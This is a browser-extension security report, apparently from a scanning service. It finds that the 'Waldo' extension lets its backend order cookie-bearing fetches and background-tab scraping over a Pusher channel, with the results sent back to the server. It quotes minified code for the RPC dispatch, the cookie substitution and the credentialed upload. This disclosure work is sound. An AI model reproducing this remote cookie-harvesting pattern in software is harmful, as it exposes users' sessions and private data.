Is Waldo – Search like a pro. safe?
Waldo opens a server-controlled channel that fetches arbitrary URLs with your cookies and browses in background tabs.
On startup the extension connects to the Waldo backend over Pusher, which can instruct it to fetch any URL with the user's cookies filled into the request, or to open an inactive tab and click, type, scroll and scrape the page. The responses, including page content, are posted back to a server-supplied address. It also rewrites Google response headers to allow cross-origin access.
Who publishes itWaldo - no other listings under this identity
Waldo - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Waldo backend can order cookie-bearing fetches and tab scraping
Code analysis shows a Pusher channel on startup lets the Waldo backend order fetches that carry your cookies for any site, or scrape pages in a background tab, with results posted back to it.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Static analysis
The Waldo backend publishes an EXTENSION_RPC_BRIDGE event naming a URL and options.
The channel is opened at load; no click is needed.
The extension fetches that URL with your cookies filled in and posts the reply to the backend.
A second RPC type opens an inactive tab and scrapes the page.
RPC dispatch, channel auth and response upload
Dispatcher
background.bundle.js async matcher({ name: t, data: e }) { switch (t) { case "FETCH_URL": return oi(e); case "FETCH_VIA_TAB": return Vc(e); default: throw new Error(`Invalid RPC name: ${t}`) } }Response upload
background.bundle.js data: e, error: r }) { const n = t.respondUrl ?? `${this.config.host}/v1/rpc/response-v2`, i = await fetch(n, { body: JSON.stringify({ id: t.id, data: e, error: r }), credentials: "include", method: "POST", headers: { "Content-Type": "application/json" } }); if (!i.ok) throw new Xc("Failed to send response", { status: i.status,FETCH_URL substitutes cookies into the request
async function oi({ url: t, options: r = {} }) { const { headers: n = {}, removeChar: i, decode: o, body: s } = r, a = (t => t.reduce(((t, { name: e, value: r }) => ({ ...t, [e]: r })), {}))(await e().cookies.getAll({ url: t })), c = { cookies: a }, u = Object.entries(n).reduce(((t, [e, r]) => { const n = ii(r, c); return { ...t, [e]: o ? decodeURIComponent(n) : n } }), {}); let h = ii(t, c); const f = i ? Object.entries(u).reduce(((t, [e, r]) => { const n = r.replaceAll(i, ""); return {- Target URLhttps://example.com/account/orders
The backend chooses which site is requested.
- Cookie placeholdersCookie: session=${cookies.session}
Your cookies for that site can be inserted into the request.
- Tab actionsclick, write, scroll, scrape, focusTab
A background tab can be clicked, typed into, scrolled and scraped.
- Response URL{host}/v1/rpc/response-v2
Results go to a URL the request supplies, else the Waldo host.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 4.34.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Act on the current tab, but only after you click the extension
activeTab
Store data in your browser
storage
Read and change cookies, including the ones that keep you signed in
cookies
Watch every request your browser makes
webRequest
Watch, block and rewrite every request your browser makes
webRequestBlocking
Run its own code inside the pages you visit
scripting
Block and redirect the requests your browser makes
declarativeNetRequest
Where it sends data
Destinations our analysis observed Waldo – Search like a pro. contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- Pusher (us2 cluster)
Waldo – Search like a pro. sends data to Pusher (us2 cluster). Named as a recipient in this extension's own analysis.
- Waldo backend (REACT_APP_PUSHER_HOST /v1/rpc/response-v2)
Waldo – Search like a pro. sends data to Waldo backend (REACT_APP_PUSHER_HOST /v1/rpc/response-v2). Named as a recipient in this extension's own analysis.